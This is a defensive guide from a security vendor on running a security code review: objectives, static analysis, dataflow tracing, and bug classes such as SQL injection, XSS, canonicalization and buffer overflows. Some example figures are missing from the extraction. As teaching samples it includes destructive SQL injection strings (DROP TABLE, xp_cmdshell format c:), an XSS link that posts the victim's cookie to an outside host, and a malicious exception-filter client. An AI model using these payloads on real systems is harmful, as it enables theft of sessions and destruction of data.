how_to_conduct_a_code_review
how_to_conduct_a_code_review
Table of Contents
Objectives..........................................................................................................................................3
Overview ...........................................................................................................................................3
How to Use This Guide .......................................................................................................................3
Input .................................................................................................................................................4
Output...............................................................................................................................................4
Steps summary ..................................................................................................................................5
Steps .................................................................................................................................................6
Step 1: Identify Code Review Objectives ...................................................................................................................6
Step 2: Code Review Pass #1 - Pick off low hanging fruit with a static analysis scan ................................................7
Step 3: Code Review Pass #2 – Look For Common Bugs ...........................................................................................9
Step 4: Code Review Pass #3 – Look for bugs unique to this application architecture ...........................................27
Tool Roundup ..........................................................................................................................................................28
Next Steps: Post Code Review Activities.................................................................................................................29
About Security Innovation................................................................................................................ 30
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
OBJECTIVES 3
Objectives
By performing the steps in this guide, you will be able to:
Identify the type of bugs that are important for your code.
Generate a list of bugs found in the code that should be prioritized for eradication.
Overview
A properly conducted code review can do more for the security of your application than nearly any other step. A
large numbers of bugs can be found and fixed before the code makes it into an official build or into the hands of
the test team. Additionally the code review process lends itself very well to sharing security best practices
amongst a development team and it produces ‘lessons’ that can be learned from in order to prevent future bugs.
Code review is an ongoing process that, ideally, should occur with every code check-in. The cost of high security is
eternal vigilance!
The code review approach presented here focuses first on identifying the types of issues that you should look for
in the code being reviewed, and then on finding these bugs as quickly and effectively as possible. You will use
threat models, architecture diagrams and other inputs in order to guide your review and then can use the list of
discovered vulnerabilities to guide future reviews as well as for developer training.
Set time limits on your reviews. While code reviewing it is easy to get lost in the details and lose track of
the higher-level security bugs you are looking for. Set a reasonable time limit on your review and then
use this to keep yourself from getting stuck. If you find yourself spending too much time in any one place,
especially if it is not a high-priority area of code, flag it for later review and move on.
Review small chunks of code at a time. Limit your reviews to small, manageable chunks of code. This will
allow you to finish quickly, stay focused, and find a larger number of bugs in the code you are looking at.
Review iteratively. A continuous, iterative approach to code reviewing will allow you to keep your
reviews manageable in time and scope. Rather than waiting till the end of a project and reviewing
everything at once, review at each check-in. This allows you to focus on what’s changed rather than
trying to find all the bugs at once.
Set clear objectives for your review. A focused review is an effective review. Spend time at the
beginning of your review to understand the bugs that are possible in the code you are reviewing.
Understand the patterns of bad code you want to eradicate and then review with a clear idea of what you
are looking for.
Understand inputs and outputs for the code you are reviewing. Dataflow analysis is a powerful
mechanism for finding security bugs. Understand every source of data in the code you are reviewing as
well as where the data will end up. How much trust you are willing to give the source as well as the
ultimate destination of the data both have a major impact on the level of data validation the code should
have.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
INPUT 4
Review only for security; look for other problems during another review. The more you are looking for
during a review, the less likely you are to find any of them. Stay focused on the discrete set of security
objectives you have for the code review.
Review with a partner. A second set of eyes and the resulting dialog will increase the odds of finding
bugs during the review and will keep you fresh longer, extending your effectiveness.
Input
The following input is useful for code review:
Output
The goal of the code review is to generate a list of vulnerabilities that can be fixed in order to improve security of
the code. This list is usually organized by component and will often contain the following information per
vulnerability:
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS SUMMARY 5
While it’s best if you can prove that the bug can be realized it’s not always necessary. Even bugs that are
not provably reproducible in the running system are worth fixing. A future code change may alter the
path of logic and expose the bug with disastrous consequences.
Description of what it will take to implement a fix. Is it a single line of code that needs to be altered? Is it
a larger architectural problem?
Steps summary
1. Identify code review objectives
a. Input
i. Architecture diagram
ii. Threat model
iii. Scope
b. Output
i. Code review objectives
2. Review pass #1 - Pick off low hanging fruit with a static analysis scan
a. Input
i. Code
ii. Code review objectives
iii. Code expert
iv. Reference material
b. Output
i. Vulnerability list (false positives filtered out)
ii. List of hotspots
3. Review pass #2 – Pick off common security bugs
a. Input
i. Code
ii. Code review objectives
iii. List of hotspots
iv. Code expert
v. Usage scenarios
vi. Input and outputs
vii. Dataflow
viii. Areas that use native code
ix. Reference material
b. Output
i. Vulnerability list
4. Review pass #3 - Look for problems unique to the application architecture
a. Input
i. Code
ii. Code review objectives
iii. Code expert
iv. Reference material
b. Output
i. Vulnerability list
Code reviewing is not a one-time exercise. Any new code, especially in security sensitive areas, should be code
reviewed to discover security vulnerabilities. All vulnerabilities found should not only be placed in a bug
database for prioritization and eradication but should be used as input in future code reviews. Over time you
can add significantly to the list of bugs you are looking for.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 6
Steps
STEP 1: IDENTIFY CODE REVIEW OBJECTIVES
While it is possible to conduct a code review without knowing what you are looking for, reviews are much
more effective with a concrete set of objectives. Code review objectives are a set of bug types that you will
be looking for in your application based upon its architecture and the identified threats. For instance it is not
important to look for SQL injection bugs if your application has no interactions with a database.
Which of the threats identified in your threat model apply to the code you are reviewing? After
determining which threats apply you can separate the threats into two categories: those that have been
mitigated, and those that haven’t. Make a list of the mitigated threats, the code written to implement
this mitigation is a prime target for security code review.
Which common coding errors apply to the code you are reviewing? Create a list of the technologies
used in your application – pay special attention to the architecture to see what other components your
application interacts with. Is there a database? Does your component present data on a web page? Does
your component interact with native code? Do users supply input to your component, either directly or
through an intermediary? This list can then be used to prune the set of bugs you are interested in looking
for.
What is the scope of your review? It’s important to know what code you will be reviewing and what you
won’t be reviewing.
Ensure that all un-trusted input to the component is passed to a validation routine before being used.
Check error handling to make sure that exceptions are caught consistently and close to their source.
Check calculations whose results are then used for memory allocation or buffer access for numeric
overflow or underflow.
Check cryptographic routines to ensure secrets are cleared quickly.
It’s better to conduct multiple short reviews on small chunks of code (e.g. at the time of check-in), however,
you may find yourself faced with a large backlog of code to review. In this case it’s a good idea to set a time
limit on the review. Code reviewing is detailed, tiring work and it is easy to start making mistakes after many
hours of review. Also, without a set time limit it is easy to rat-hole and get too deeply into the details of a
particular implementation. With a set limit you can force yourself to move on in order to find high-value bugs
elsewhere. Another useful trick is to code review in pairs, the resulting dialog and extra set of eyes can keep
you fresh much longer than you would manage on your own.
Focused code reviews are effective code reviews. You should look at the code with specific goals, time limits,
and knowledge of what bugs you want to uncover. Not only will this substantially raise your chance for
success it will also reduce the amount of time you spend reviewing.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 7
STEP 2: CODE REVIEW PASS #1 - PICK OFF LOW HANGING FRUIT WITH A STATIC ANALYSIS
SCAN
In this step you use a static analysis tool to find a first set of bugs and improve your understanding of where
bugs are likely to be discovered manually.
Not everyone has access to a static analysis tool to aid in their source code review. While this step is not
required, we feel it is a valuable step worth documenting. Anything a static analysis tool finds can
theoretically be found by manual review as well, however, static analysis tools are unique because they test
the code without knowing or requiring any external states to be set. Since the Static Analyzer does not know
what the application or function is intended to do it will not make assumptions that a developer or code
reviewer might.
Due to its programmatically rigorous nature a static analysis scan may find problems that a manual review will
miss, however, the bane of these analysis tools are false positives. While these can be frustrating, the act of
reviewing the results of an automated scan can help you gain a better understanding of the code you are
reviewing. It forces you to understand why a false positive is false which draws you into a deeper
understanding of the code including control and dataflow. An additional benefit is that reviewing the results
may make bug ‘hotspots’ more evident. Hotspots are areas of the code that need exceptionally close review
due to sloppy code, sensitivity, or both. Static analyzers tend to be good at finding sloppy code such as:
Missing error handlers, empty catch blocks, integer overflows and scoping problems. Bugs tend to cluster. If
the tool finds a large number of bugs in a particular component or function that area is worth additional
manual scrutiny to discover bugs that the scanner may have missed.
Semantic checking
Semantic Analysis allows the analyzer to discover the basic structure and relation of each function within the
application. This helps the static analysis tool to better understand how the application will run after build time
and to find bugs deeper in the code base. In this part of the analysis an abstract syntax tree can be built to run
simulations of each of the functions to calculate how the application will execute.
The static analyzer checks for un-initialized or possibly un-initialized variables. By following the code path from the
first declaration of the variable to see if the variable is used before it is assigned to, or if the assigning function may
return an invalid type for the variable, the tool can catch possibly un-initialized variables.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 8
Metrics
Metrics can help a developer understand where there is unnecessary complexity in their code or metrics can
generate helpful statistics for the application. Functional file coupling reports the relationships between the files of
the application – uses and used by – and a metric that sums them both. Functional file cohesion shows other
metrics within the file such as lines of code, number of methods, level of inheritance, and many others. Class level
metrics allow the developer to gain an understanding of the cohesion of the application at a class level view.
Cyclomatic complexity shows how many independent paths through each module the application can take; more
paths can mean more complexity. Other useful metrics such as the ratio of comments to functional source code
can point to places in the code that should be commented more effectively.
Simulator
The simulator is at once the most powerful and the most highly guarded part of the static analysis tool. The basic
premise is as follows: the simulator selects a function and generates data based on each of the variables. If
information exists about the possible data ranges of the variable then those ranges are used, however if no
constructs are found for the data type then max and min are used as limits for the generated data.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 9
Once the data has been generated the function is followed through each code path to hit each line of code.
Function calls within the simulation can either be followed to their declaration, thus simulating another function or
the return value of the function call can be generated for testing purposes.
This allows the simulator to test small sections of the code without requiring it to be compiled into the final
executable application. Testing code this way can helps to alleviate some of the shortcomings of traditional static
analysis tools; however, it is very dependent on the ability to simulate ‘interesting’ data from a security point of
view.
Limitations
Do not expect the scan to do more than scratch the surface. Even the best scanners have contextual problems.
They are good at finding bugs that are caused by single lines of code, ok at finding bugs that span multiple lines of
code in a single function, and generally bad at finding bugs whose scope spans multiple functions.
Managed code takes care of many of the bugs that scanners have been good at finding. In native code you could
scan reasonably accurately for buffer overruns, format string problems, use of dangerous win32 APIs, memory
leaks, etc. While some bugs types have been closed off, there are still numerous problems that can be found in
managed code such as: Scoping problems, integer overflows, lack of cloning, exception handling, data truncation,
lack of null checks and unchecked values used for memory allocation or buffer access.
You should use the set of goals you developed in step one for guidance. You should also have the following
handy:
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 10
Inputs and outputs
Dataflow
Areas that use native code
Reference material
Inputs. Review the list of inputs and then match this up to code you need to review. For instance you
should flag public interfaces, UI, database interaction, socket interaction, file IO, pipes, and all other areas
from which your component can accept data as critical for review.
Error handling code. Especially look for areas with lots of dense error handling or very sparse error
handling.
Complex code. Look for areas of the code that don’t seem easy to understand at first glance, you’ll want
to come back to these.
Routines that use cryptography. There is guaranteed to be sensitive information being processed, you’ll
want to check these closely.
Use of CAS. You’ll want to review both declarative and imperative use of code access security.
Hard-coded strings or other values. You’ll want to see if sensitive data is revealed by hard-coding.
Commenting. Flag areas of especially dense commenting, this is a hint of overly complex code. Also look
at areas with especially sparse commenting, this is a sign of sloppy coding practices.
Interop. Flag areas that call into native code, you’ll want to look closely at each call.
You want this list to represent the code that has the highest priority for immediate review. If you run out of time
you want to leave less important code un-reviewed.
Once you have a list of the critical areas you can begin the formal review and start the process of finding bugs.
By looking at the most important code first and employing a question-driven approach to finding bugs you can
maximize your ability to find security vulnerabilities. This section contains a set of questions that you can start
with. Over time, and multiple reviews, you can add questions to this list that are specific to your application so
that what you learn can be applied to future reviews.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 11
Two techniques for stepping through code during a review are described. Using a combination of both will result
in the best review coverage.
1. Look at a function and determine each branch condition. These can include loops, if statements, and
try/catch blocks.
2. Understand the conditions under which each block will be executed.
3. Move to the next function and repeat.
As you investigate the control flow keep the following questions in mind.
Example:
<html><head>
<script language=‘javascript’>
function validateAndSubmit(form)
{
if(form.elments[“path”].value.length() > 0)
{
form.submit();
}
}
</script>
<form action=“mypage.asp” method=“post”>
<input type=‘text’ id=‘path’/>
<input type=‘button’ onclick=‘validateAndSubmit(this.parent)’>Submit</input>
</form>
</script></head><body>…</body></html>
In this example, client side scripting validates that the length of the “path” is greater than zero. If the server
processing of this value relies on this assumption to mitigate a security threat, the attacker will have an easy time
breaking the system.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 12
Example:
3. Is sensitive data being stored in predictable locations (such as temp files), or being sent in clear text
over the network?
Sensitive data should be stored and transmitted in encrypted form, anything less invites theft.
Example:
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 13
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 14
Look for poor management of keys. Flag hard coded key values, leaving these in the code will help to ensure your
cryptography is broken. Ensure that key values are not passed from method to method by-value as this will leave
many copies of the secret in memory to be discovered by an attacker.
Look for failure to clear secrets from memory after use. Due to the fact that the CLR manages memory for you this
is actually harder to do in managed code than it used to be in native code. In order to ensure secrets are
adequately cleared make sure the following steps have been taken:
Strings should not be used to store secrets; they are immutable and cannot be effectively cleared. Instead
check to see that a byte Array or a CLR 2.0 SecureString has been used.
Whichever type you use, make sure to call the .clear method as soon as you are done with the data.
If your secret is paged to disk it can persist for long periods of time and be difficult to completely clear.
Ensure that GCHandle.Alloc and GCHandleType.Pinned were used to keep the managed objects from
being paged to disk.
Look for custom cryptographic routines. Ensure the use of System.Security.Cryptography. Cryptography is
notoriously tricky to get right. The Windows crypto APIs are provably good, being implementation of algorithms
derived from years of academic research and study. Some think that a less well known algorithm equals more
security but this is not true. Cryptographic algorithms are mathematically proven, and as such the more eyes on
them the better; obscurity will not protect your flawed implementation from a determined attacker.
[assembly: AllowPartiallyTrustedCallersAttribute()]
This will allow the assembly to be accessible from callers which are not fully trusted. If the component you are
reviewing then calls into an assembly that does not allow partial trusted callers a security bug could result.
Also check for requests for dangerous permissions such as: UnmanagedCode, MemberAccess,
SerializationFormatter, SkipVerification, ControlEvidence / ControlPolicy, ControlAppDomain,
ControlDomainPolicy, SuppressUnmanagedCodeSecurityAttribute.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 15
Example:
[DllImport("Crypt32.dll", SetLastError=true, CharSet=System.Runtime.InteropServices.CharSet.Auto)]
[SuppressUnmanagedCodeSecurity]
private static extern bool CryptProtectData(
ref DATA_BLOB pDataIn,
String szDataDescr,
ref DATA_BLOB pOptionalEntropy,
IntPtr pvReserved,
ref CRYPTPROTECT_PROMPTSTRUCT pPromptStruct,
int dwFlags,
ref DATA_BLOB pDataOut);
Also check whether delay signing is enabled. Delay signing is generally regarded as a good practice since it helps
protect the confidentiality of the private key that will be used for signing the component:
[assembly:AssemblyDelaySignAttribute(true)]
Also look for cases where impersonation or elevated privileges may not be lowered in the case an exception is
thrown. This can occur either due to a logic bug – catch doesn’t contain the right code – or due to a subtle misuse
of a finally block by an attacker.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 16
Exception filters run before the finally block so it may result in malicious code executing in the context of the
privileged code rather than in the partially trusted context it should be running in.
Example:
Bad logic -
try
{
ElevatePrivilege();
//If ReadSecretFile throws an exception privileges will not be lowered
ReadSecretFile();
LowerPrivilege();
}
catch(FileException fe)
{
ReportException();
}
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 17
Misuse of finally –
‘Malicious VB Client
Imports VictimLib
Module MalCode
Sub Main()
Dim victim As New Victim
Try
victim.Operation(-1)
Catch When Malware(victim) = True
End Try
End Sub
Function Malware(ByVal victim As Victim) As Boolean
'Do malicious stuff in here
Return True
End Function
End Module
‘Victim Server
using System;
namespace VictimLib {
public class Victim {
public void Operation(int param) {
try {
RaisePrivilege();
if(param < 0) {
throw new ArithmeticException("Invalid input");
}
}
/*
catch(Exception e_) {
LowerPrivilege();
throw(e_);
}
*/
finally {
LowerPrivilege();
}
}
}
}
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 18
Make sure custom error pages have been implemented in ASP.NET applications in order to ensure no sensitive
data is given away and make sure application tracing has been turned off.
Check security sensitive error paths with caution. For instance, be careful about changing error messages for
differing error code paths during user authentication. A common problem is to display different error message for
bad username/bad password vs. good username/bad password. While the difference in errors may be subtle the
end result will give the attacker information that they can use against you.
Example:
Logging in with a bad username gives one error message.
Logging in with a good username but a bad password gives a different error message.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 19
10. Does your application expose sensitive information via user session?
If you are reviewing a web application and it reveals sensitive information via user session then pay particular
attention to how the session is managed. In ASP.Net the session ID is properly randomized so it is hard to guess
session IDs, however, there are other ways an attacker can get at this information. Make sure that the session ID
is sent over SSL, and check to ensure that the session timeout is short:
Example:
Dataflow analysis
The previous questions will help you find a large number of bugs, next you will want to use a technique called
dataflow analysis to find bugs associated with poor input handling. Dataflow analysis is the mechanism used to
trace data from the points of input to the points of output. Since there can be many data flows in your application,
use the prioritization list you built earlier to focus your work. The process works as follows:
1. For each input location determine how much you trust the source of input. When in doubt you should
give it no trust.
2. Trace the flow of data to each possible output noting along the way any attempts at data validation.
3. Move to the next input and continue.
When you are done you should have a list of all the functions that each piece of input data touches as well as the
eventual outputs where it ends up. Don’t forget to pay attention to areas where the data is parsed and may end
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 20
up in multiple output locations. Also pay attention to intermediary output locations. For instance the input may
end up in a database and then later placed in web page content.
Thinking about how much you trust each input source is tricky. Ideally you will trust no input that comes from
outside your component and validate all data fully. For performance and maintainability reasons, however, this
may not always be practical. In general you can trust code that is closest to you and give less trust to code that is
less well known. Here is an example of how to think about trust boundaries:
High trust
o Input that comes from code you are reviewing inside the component
o Input that comes from known-good strongly named managed assemblies or signed/hashed
native libraries
o Input that comes from a database that is only used by your component and for which you can
prove that all data to the database has been properly validated
o Network data that has been signed by a known good source (IPSec or SSL)
Medium trust
o Input that comes from known-good assemblies or native libraries that have not been strongly
named or signed but are local to your server
o Input from that comes from a public interface that should only be accessible to trusted users
o Input from that comes from a UI that should only be accessible to trusted users
o Network data that should not be accessible to an untrusted user (such as a segmented LAN
internal to your datacenter)
Low trust
o Input that comes from assemblies or native libraries that have not been strongly named or
signed and are located on the client
o Input that comes from client code
o Input that comes over the network
o Input that comes from a file
o Input that comes from a public interface that is accessible to any user
o Input that comes from UI that is accessible to any user
o Input that comes from a database that is shared with other components or processes
Remember to trace all the way to the source and assign trust based on the weakest link.
As you conduct your traces look at the code carefully to ensure that input validation is performed rigorously on
low trust input and performed adequately on medium trust input. Ideally you will have a set of common validation
routines that can be called into as soon as un-trusted data is received by the application. This gives a central point
of failure that can be updated as new information is discovered. However, in addition to knowing how much you
trust the data you must also be aware of how the data is going to be used in order to know how it should be
validated. This is where the dataflow analysis becomes important. For instance if the eventual output for the
untrusted data is a database then you should check for SQL injection problems. If the data will be used to make a
calculation then you should check for numeric overflows and underflows. If the data will be displayed in a web
page then you should check for cross site scripting problems. Keep in mind while reviewing validation routines
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 21
that validation should always opt-in, not opt-out; it’s easier to accurately define what’s good rather than what’s
bad.
Example:
int[] filter(uint len, int[] numbers)
{
uint newLen = len * 3/4;
int[] buf = new int[newLen];
int j = 0;
for(int i = 0; i < len; i++)
{
if (i % 4 != 0)
buf[j++] = numbers[i];
}
return buf;
}
Problem is that in calculating the value for len, the code first computes len * 3 and then divides by 4. When len is
large enough (~1.4 billion), len * 3 overflows and newLen gets assigned too small of a value. The result in this code
will be an unhandled IndexOutOfRange exception.
SQL injection
A SQL injection attack occurs when un-trusted input can modify the logic of a SQL query in unexpected ways. As
you are tracing through the code ensure that any input that is used in a SQL query is validated or make sure that
the SQL queries are parameterized.
Example:
The SQL query in code looks like this.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 22
userIdFromWebPage is a variable that contains untrusted data that has not been validated. Imagine that it
contains “’ or 1=1 –“, or “’ ;DROP TABLE users –“, or “’ ;exec xp_cmdshell(‘format c:’) –“. The final query could
look like this.
As you are tracing through the code ensure that un-trusted data whose ultimate output is web page content does
not contain HTML tags. Be aware that the data could move from un-trusted input to web page output via a
roundabout path – for instance through a database and then later queried out of the database and displayed on a
web page. To protect against this bug, ensure HTMLEncode or URLEncode are used before user input is echoed
back to web content.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 23
Example:
Response.Write("Welcome" &
Request.QueryString("UserName"))
In this example, the web application is hosted at http://www.contoso.msft. The ASP script is designed to
output “Welcome <UserName>”. This represents a cross-site scripting vulnerability because the value of
UserName is not filtered or encoded. The attack proceeds as follows: 1.) An attacker sends email to an
unsuspecting user containing malicious HTML form, 2.) When the user clicks on the link in the email, a post request
is sent to the Contoso page. The request contains JavaScript for the value of the username field, 3.) The Contoso
site sends the value of “username”, really the JavaScript generated by the attacker, to the user’s browser and the
browser executes thinking the source of the script is the Contoso site. In this case, the script sends any cookie data
associated with the page to the attacker’s machine.
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 24
<a href=http://www.contoso.msft/welcome.asp?name=
<FORM action=http://www. nwtraders.msft/data.asp
method=post id=“idForm”>
<INPUT name=“cookie” type=“hidden”>
</FORM>
<SCRIPT>
idForm.cookie.value=document.cookie;
idForm.submit();
</SCRIPT> >
here
</a>
Canonicalization
Canonicalization errors occur whenever there are multiple ways to represent a resource and the different
representations result in varying security logic being run. There are a several resource types for which this
problem can occur:
File resources
o Use of partial paths may result in a file other than what you expect being loaded.
o Use of the PATH environment variable may give control of the paths used by your application
to an attacker.
URLs
o Alternate representation of an IP address such as dotless IP may result in an URL other than
what you expected being loaded.
o Encoded characters such as %20 for space may result in an URL other than what you
expected being loaded.
The result of this bug is that an attacker gains access to a resource they would not otherwise have access to. As
you are tracing through the code look carefully at areas where resources are being accessed based upon user
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 25
input. Make sure that file names are canonicalized before use with Path.GetFullPath. Make sure that URLs are
canonicalized before use with Uri.AbsoluteUri.
Use CAS for an extra layer of protection. Refuse permissions that are not needed as well as indicate to the runtime
what you need.
Example:
Buffer overflows
Buffer overruns are a classic vulnerability that may lead to execution of arbitrary code. Successful exploitation of
this vulnerability relies on low level details of the system architecture that is outside the scope of this guide,
however, given the magnitude and frequent occurrence of the problem it is important to recognize when these
vulnerabilities are present.
Buffer Overflows are largely prevented by managed code since the common language runtime abstracts out the
underlying machine architecture. However, any code marked unsafe is allowed direct memory access and
therefore can contain buffer overflows. Also, many applications contain a mixture of managed and unmanaged
code and so the unmanaged code must be looked at closely.
While tracing through the code ensure that for unsafe code the following rules are followed:
Make sure any functions that copy variable length data into a buffer take and use a maximum length parameter
properly.
Example:
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 26
1. The ProcessInput function only allocates enough space for 255 characters.
2. The GetData function does not check the size of the array as it fills it.
Format string
Format String bugs emanate from the printf family of functions handling of variables, and the %n format directive.
The printf family of functions will pop the stack as many times as they see “%” in the format string. Sufficient %’s
can traverse the stack, and reach any location in it, or above. Additionally the use of %n can allow arbitrary writing
of data anywhere within the stack.
While tracing through the code make sure that format string data never contains user input. As this can only
occur in unmanaged code it is only worth worrying about if untrusted input is used in a call to a native library.
Example:
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 27
In this example untrusted input in the form of a command line parameter, is passed directly to a printf statement.
This means an attacker could include format string % directives into the string and force the application to return
or modify arbitrary memory on the stack.
STEP 4: CODE REVIEW PASS #3 – LOOK FOR BUGS UNIQUE TO THIS APPLICATION
ARCHITECTURE
In this step you will look at your list of code review objectives and cover anything that has not yet been covered. It
is likely that there are potential bugs based on a unique security architecture that has been implemented or for
threats that were recognized in the threat model and already mitigated. The final code review pass is focused on
verifying implementation of these security features that are unique to your application architecture. Just as was
done in the previous steps, employing a question-driven approach will produce the best results:
1. It has already been recognized that a security problem exists, that’s why the custom security code was
written in the first place.
2. Unlike other areas of the product, a functional bug is very likely to result in a security vulnerability.
2. Are there unique roles in the application?
The use of roles assumes that there are some users with lower privileges than others. Ensure there are no
problems in the code that could allow one role to assume the privileges of another.
The first step is to understand what the set of roles and what each role should be allowed to do. This can be
accomplished with a simple matrix that contains privileges in rows and roles in columns. Make a checkmark in
each cell that corresponds to a privilege allowed by a role.
Once the matrix has been completed review the code for contradictions to this matrix. Even a well designed
system with clearly drawn out roles can be broken by a bad assumption or a logical mistake in the implementation.
Example:
Objects
Admin x x
Content Creator x x x
Reader x
Anonymous x
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 28
TOOL ROUNDUP
While static analysis tools are quite helpful during a code review, there are others that can be useful as well. Here
is a roundup of the tool types:
Fuzzers
Used to provide bad input to your application
Pros
o Can find surprising combinations of input that you may have missed in your code review
o Usually not much work to implement
o Random data can be surprisingly effective at finding bugs
Cons
o Not good at finding stateful bugs
o Best suited for file or network corruption – also can be applied to interfaces but with less
success
Vulnerability scanners
Pros
o Can help to ensure that a web application is not vulnerable to known attack vectors
o Can find a wide variety of security vulnerabilities such as server configuration errors, known
vulnerable plug-ins and extensions, SQL injection, cross site scripting
Cons
o Like static analysis tools they only find low hanging fruit
o They have trouble getting full coverage – sometimes befuddled by authentication, have
trouble with stateful applications
o Scans can be time consuming – both the scan and the analysis
o False positives
o False sense of security
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
STEPS 29
Prioritize the bugs found - prioritization should be based upon the impact the bug will have on your
customers. Think through the maximum damage potential as well as which of your customers will be
impacted.
Fix the right set of bugs – each bug fixed can introduce a new unknown bug. Sometimes the bug you
know is less dangerous than the bug you don’t
Learn from your mistakes – keep a running dialog within your team discussing the mistakes made, how
they were found, how they were fixed. Strive to write code that comes up clean in a code review the first
time!
www.securityinnovation.com
Ho w to Co n d u c t a Co d e R ev i e w
www.securityinnovation.com